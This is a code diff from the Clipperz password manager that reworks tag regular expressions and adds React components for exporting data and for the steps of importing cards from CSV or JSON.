deferredResult.addCallback(function(recordVersionIn) { currentVersionObject = recordVersionIn; })
deferredResult.addMethod(this, 'fullLabel');
deferredResult.addMethod(this, function(labelIn) {label = labelIn});
deferredResult.addMethod(this, 'exportDirectLogins');
deferredResult.addCallback(function(directLoginsIn) { data['directLogins'] = directLoginsIn; });
deferredResult.addCallback(function() { return currentVersionObject.getKey(); }),
// deferredResult.addMethod(this,function(keyIn) { data['currentVersionKey'] = keyIn; });
deferredResult.addMethod(this, 'notes');
deferredResult.addMethod(this, function(notesIn) { data['notes'] = notesIn; });
// deferredResult.addMethod(this, function() { currentVersion['reference'] = this.currentVersionReference(); });
deferredResult.addCallback(function() { return currentVersionObject.exportFields(); }),
deferredResult.addCallback(function(fieldsIn) { currentVersion['fields'] = fieldsIn; });
deferredResult.addMethod(this, function() {
return {
'label': label,
'data': data,
'currentVersion': currentVersion
};
});
deferredResult.callback();
return deferredResult;
},
//=========================================================================
__syntaxFix__: "syntax fix"
});
@ -1203,20 +1247,33 @@ Clipperz.PM.DataModel.Record.regExpForSearch = function (aSearch) {
return new RegExp(aSearch.replace(/[^A-Za-z0-9]/g, '\\$&'), 'i');
};
Clipperz.PM.DataModel.Record.tagRegExp = function () {
return new RegExp('\\' + Clipperz.PM.DataModel.Record.tagChar + '(' + Clipperz.PM.DataModel.Record.specialTagChar + '?\\w+)', 'g');
};
Clipperz.PM.DataModel.Record.trimSpacesRegExp = function () {
return new RegExp('^\\s+|\\s+$', 'g');
};
Clipperz.PM.DataModel.Record.filterOutTags = function (aValue) {
Clipperz.PM.DataModel.Record.tagRegExp = new RegExp('\\' + Clipperz.PM.DataModel.Record.tagChar + '(' + Clipperz.PM.DataModel.Record.specialTagChar + '?\\w+)', 'g');
Clipperz.PM.DataModel.Record.trimSpacesRegExp = new RegExp('^\\s+|\\s+$', 'g');
Clipperz.PM.DataModel.Record.extractLabelFromFullLabel = function (aValue) {
var value;
value = aValue;
value = value.replace(Clipperz.PM.DataModel.Record.tagRegExp(), '');
value = value.replace(Clipperz.PM.DataModel.Record.trimSpacesRegExp(), '');
value = value.replace(Clipperz.PM.DataModel.Record.tagRegExp, '');
value = value.replace(Clipperz.PM.DataModel.Record.trimSpacesRegExp, '');
return value;
};
Clipperz.PM.DataModel.Record.extractTagsFromFullLabel = function (aLabel) {
var tagRegEx;
var result;
var match;
result = {};
tagRegEx = Clipperz.PM.DataModel.Record.tagRegExp;
match = tagRegEx.exec(aLabel);
while (match != null) {
result[match[1]] = true;
match = tagRegEx.exec(aLabel);
}
return result;
};

View File

@ -244,11 +244,7 @@ Clipperz.Base.extend(Clipperz.PM.DataModel.User, Object, {
return deferredResult;
},
// TODO: test (taken straight from /beta)
'deleteAccount': function() {
console.log("deleting account from user");
var deferredResult;
deferredResult = new MochiKit.Async.Deferred("User.deleteAccount", {trace: true});
@ -257,15 +253,9 @@ console.log("deleting account from user");
deferredResult.callback();
return deferredResult;
},
// TODO: check (I have half of an idea what i'm doing)
'resetAllLocalData': function() {
console.log("resetting all local data...");
var deferredResult;
deferredResult = new MochiKit.Async.Deferred("User.resetAllLocalData", {trace: true});

View File

@ -0,0 +1,110 @@
/*
Copyright 2008-2015 Clipperz Srl
This file is part of Clipperz, the online password manager.
For further information about its features and functionalities please
refer to http://www.clipperz.com.
* Clipperz is free software: you can redistribute it and/or modify it
under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
* Clipperz is distributed in the hope that it will be useful, but
WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
See the GNU Affero General Public License for more details.
* You should have received a copy of the GNU Affero General Public
License along with Clipperz. If not, see http://www.gnu.org/licenses/.
*/
"use strict";
Clipperz.Base.module('Clipperz.PM.UI.Components.ExtraFeatures');
Clipperz.PM.UI.Components.ExtraFeatures.DataExportClass = React.createClass({
propTypes: {
// featureSet: React.PropTypes.oneOf(['FULL', 'EXPIRED', 'TRIAL']).isRequired,
// 'level': React.PropTypes.oneOf(['hide', 'info', 'warning', 'error']).isRequired
},
/*
jsonExport: function () {
MochiKit.Signal.signal(Clipperz.Signal.NotificationCenter, 'export', 'json');
},
htmlExport: function () {
MochiKit.Signal.signal(Clipperz.Signal.NotificationCenter, 'export', 'html');
},
*/
isFeatureEnabled: function (aValue) {
return (this.props['features'].indexOf(aValue) > -1);
},
handleDownloadOfflineCopyLink: function (anEvent) {
if (this.isFeatureEnabled('OFFLINE_COPY')) {
MochiKit.Signal.signal(Clipperz.Signal.NotificationCenter, 'downloadOfflineCopy');
}
},
handleExportLink: function () {
MochiKit.Signal.signal(Clipperz.Signal.NotificationCenter, 'downloadExport');
},
//=========================================================================
render: function () {
return React.DOM.div({className:'extraFeature devicePIN'}, [
React.DOM.h1({}, "Export"),
React.DOM.div({'className': 'content'}, [
React.DOM.ul({}, [
React.DOM.li({}, [
React.DOM.h3({}, "Offline copy"),
React.DOM.div({'className':'description'}, [
React.DOM.p({}, "Download a read-only portable version of Clipperz. Very convenient when no Internet connection is available."),
React.DOM.p({}, "An offline copy is just a single HTML file that contains both the whole Clipperz web application and your encrypted data."),
React.DOM.p({}, "It is as secure as the hosted Clipperz service since they both share the same code and security architecture.")
]),
React.DOM.a({'className':'button', 'onClick':this.handleDownloadOfflineCopyLink}, "download offline copy")
]),
React.DOM.li({}, [
React.DOM.h3({}, "HTML + JSON"),
React.DOM.div({'className':'description'}, [
React.DOM.p({}, "Download a printer-friendly HTML file that lists the content of all your cards."),
React.DOM.p({}, "This same file also contains all your data in JSON format."),
React.DOM.p({}, "Beware: all data are unencrypted! Therefore make sure to properly store and manage this file.")
]),
React.DOM.a({'className':'button', 'onClick':this.handleExportLink}, "download HTML+JSON")
]),
/*
React.DOM.li({}, [
React.DOM.h3({}, "Printing"),
React.DOM.div({'className':'description'}, [
React.DOM.p({}, "Click on the button below to open a new window displaying all your cards in a printable format."),
React.DOM.p({}, "If you are going to print for backup purposes, please consider the safer option provided by the “offline copy”.")
]),
React.DOM.a({'className':'button', 'onClick':this.htmlExport}, "HTML")
]),
React.DOM.li({}, [
React.DOM.h3({}, "Exporting to JSON"),
React.DOM.div({'className':'description'}, [
React.DOM.p({}, "JSON enables a “lossless” export of your cards. All the information will be preserved, including direct login configurations."),
React.DOM.p({}, "This custom format its quite convenient if you need to move some of all of your cards to a different Clipperz account. Or if you want to restore a card that has been accidentally deleted."),
React.DOM.p({}, "Click on the button below to start the export process.")
]),
React.DOM.a({'className':'button', 'onClick':this.jsonExport}, "JSON"),
])
*/
])
])
]);
},
//=========================================================================
});
Clipperz.PM.UI.Components.ExtraFeatures.DataExport = React.createFactory(Clipperz.PM.UI.Components.ExtraFeatures.DataExportClass);

View File

@ -0,0 +1,172 @@
/*
Copyright 2008-2015 Clipperz Srl
This file is part of Clipperz, the online password manager.
For further information about its features and functionalities please
refer to http://www.clipperz.com.
* Clipperz is free software: you can redistribute it and/or modify it
under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
* Clipperz is distributed in the hope that it will be useful, but
WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
See the GNU Affero General Public License for more details.
* You should have received a copy of the GNU Affero General Public
License along with Clipperz. If not, see http://www.gnu.org/licenses/.
*/
"use strict";
Clipperz.Base.module('Clipperz.PM.UI.Components.ExtraFeatures');
var _steps = ['Input', 'CsvColumns', 'CsvLabels', 'CsvTitles', 'CsvNotes', 'CsvHidden', 'Preview'];
var _stepNames = ['Input', 'Columns', 'Labels', 'Titles', 'Notes','Hidden','Preview'];
Clipperz.PM.UI.Components.ExtraFeatures.DataImportClass = React.createClass({
_steps: _steps,
_stepNames: _stepNames,
_relevantSteps: {
'csv': _steps,
'json': [_steps[0], _steps[6]]
},
getInitialState: function() {
return {
'currentStep': this._steps[0],
'importContext': new Clipperz.PM.UI.ImportContext(),
'nextStepCallback': null,
'error': null
};
},
//=========================================================================
getStepIndex: function(aStep) {
return this._steps.indexOf(aStep);
},
getStepAfter: function() {
return this._steps[this.getStepIndex(this.state.currentStep) + 1];
},
getStepBefore: function() {
return this._steps[this.getStepIndex(this.state.currentStep) - 1];
},
isStepRelevant: function(aStep, aFormat) {
if (!aFormat) {
return true
} else {
return (this._relevantSteps[aFormat].indexOf(aStep) >= 0);
}
},
//--------------------------------------------------------------------------
goToStep: function(aStep) {
this.setState({
'currentStep': aStep,
'nextStepCallback': null,
'error': null
});
},
handleNextStepOnClick: function() {
if (this.state.nextStepCallback) {
var newImportContext = this.state.nextStepCallback();
if (newImportContext) {
MochiKit.Base.update(this.state.importContext, newImportContext);
if (this.state.currentStep == 'Input' && this.state.importContext.format == 'json') {
this.goToStep('Preview');
} else if (this.state.currentStep == 'Preview') {
this.state.importContext.resetContext();
this.goToStep('Input');
} else {
this.goToStep(this.getStepAfter());
}
} else {
if (this.state.currentStep == "Input") {
this.setState({'error': "unrecognized input format."});
} else {
this.setState({'error': "unknown error."});
}
}
}
},
handleBackOnClick: function() {
if (this.state.importContext.format == 'json' && this.state.currentStep == 'Preview') {
delete this.state.importContext.format;
this.goToStep('Input');
} else if (this.state.currentStep != this._steps[0]) {
this.goToStep(this.getStepBefore());
}
},
setNextStepCallback: function(aFunction) {
this.setState({'nextStepCallback': aFunction});
},
getStepNavbarClass: function(aStep) {
var result;
if (aStep == this.state.currentStep) {
result = 'active';
} else if (this.state.importContext.format == 'json' && (aStep>=1&&aStep<=5) ) {
result = 'disabled';
} else {
result = 'inactive';
}
return result;
},
//=========================================================================
render: function () {
return React.DOM.div({className:'extraFeature dataImport'}, [
React.DOM.h1({}, "Import"),
React.DOM.div({'className': 'content'}, [
React.DOM.ul({'className': 'stepNavbar'},
MochiKit.Base.map(MochiKit.Base.bind(function(aStep){
var className;
if (this.isStepRelevant(aStep,this.state.importContext.format)) {
className = (aStep == this.state.currentStep) ? 'active' : 'inactive';
} else {
className = 'disabled';
}
return React.DOM.li({
'className': className
}, this._stepNames[this.getStepIndex(aStep)]);
}, this),this._steps)
),
new Clipperz.PM.UI.Components.ExtraFeatures.DataImport[this.state.currentStep]({
'importContext': this.state.importContext,
'setNextStepCallback': this.setNextStepCallback,
}),
React.DOM.a({
'className': 'button'+((this.state.currentStep == this._steps[0]) ? ' disabled' : ''),
'onClick': this.handleBackOnClick,
}, "Back"),
React.DOM.a({
'className': 'button'+((! this.state.nextStepCallback) ? ' disabled' : ''),
'onClick': this.handleNextStepOnClick,
}, "Next"),
(this.state.error) ? React.DOM.p({'className': 'error'}, "Error: " + this.state.error) : null
])
]);
},
//=========================================================================
});
Clipperz.PM.UI.Components.ExtraFeatures.DataImport = React.createFactory(Clipperz.PM.UI.Components.ExtraFeatures.DataImportClass);

View File

@ -26,26 +26,44 @@ Clipperz.Base.module('Clipperz.PM.UI.Components.ExtraFeatures.DataImport');
Clipperz.PM.UI.Components.ExtraFeatures.DataImport.CsvColumnsClass = React.createClass({
toggleColumn: function(columnN) {
var newState;
getInitialState: function() {
return {
'selectedColumns': this.props.importContext.selectedColumns
};
},
newState = {'importData': this.props.importState.importData};
newState.importData.selectedColumns[columnN] = ! newState.importData.selectedColumns[columnN];
componentDidMount() {
this.props.setNextStepCallback(this.handleNextStep);
},
//-------------------------------------------------------------------------
handleNextStep: function() {
return this.state;
},
//=========================================================================
toggleColumn: function(columnN) {
var newSelectedColumns;
newSelectedColumns = this.state.selectedColumns;
newSelectedColumns[columnN] = ! newSelectedColumns[columnN];
this.props.setImportStateCallback(newState);
this.setState({'selectedColumns': newSelectedColumns});
},
render: function() {
//console.log(this.props.importContext);
var columnSelectors;
var rowCount;
var i;
columnSelectors = [];
for (i=0; i<this.props.importState.importData.nColumns; i++) {
columnSelectors.push( React.DOM.td({'key': 'csv-colsel-'+i}, React.DOM.input({
for (i=0; i<this.props.importContext.nColumns; i++) {
columnSelectors.push( React.DOM.td({'key': 'csv-colsel-' + i}, React.DOM.input({
'type': 'checkbox',
'checked': this.props.importState.importData.selectedColumns[i],
'checked': this.state.selectedColumns[i],
'onChange': MochiKit.Base.partial(this.toggleColumn,i)
}) ) );
}
@ -53,16 +71,8 @@ Clipperz.PM.UI.Components.ExtraFeatures.DataImport.CsvColumnsClass = React.creat
rowCount = 0;
return React.DOM.div({},[
React.DOM.h2({},"Columns"),
Clipperz.PM.UI.Components.ExtraFeatures.DataImport.StepsNavigation({
'format': 'csv',
'stepId': 'csv-columns',
'prevStep': 'input',
'nextStep': 'csv-labels',
'goToStepCallback': this.props.goToStepCallback,
}),
React.DOM.p({}, "Select the columns you want to import."),
React.DOM.table({'style': {'background': 'white'}},[
React.DOM.table({'className': 'csvTable'},[
React.DOM.thead({}, React.DOM.tr({'className': 'columnSelectors', 'key': 'csv-colsel'}, columnSelectors)),
React.DOM.tbody({},
MochiKit.Base.map(function(row){
@ -70,13 +80,13 @@ Clipperz.PM.UI.Components.ExtraFeatures.DataImport.CsvColumnsClass = React.creat
var result
cellCount = 0;
result = React.DOM.tr({'key': 'csv-row-'+(rowCount++)}, MochiKit.Base.map(function(cell) {
return React.DOM.td({'key': 'csv-cell-'+rowCount+'-'+(cellCount++)},cell);
result = React.DOM.tr({'key': 'csv-row-' + (rowCount++)}, MochiKit.Base.map(function(cell) {
return React.DOM.td({'key': 'csv-cell-' + rowCount + '-' + (cellCount++)},cell);
}, row));
rowCount++;
return result;
}, this.props.importState.importData.parsedCSV)
}, this.props.importContext.parsedCsv)
),
])
]);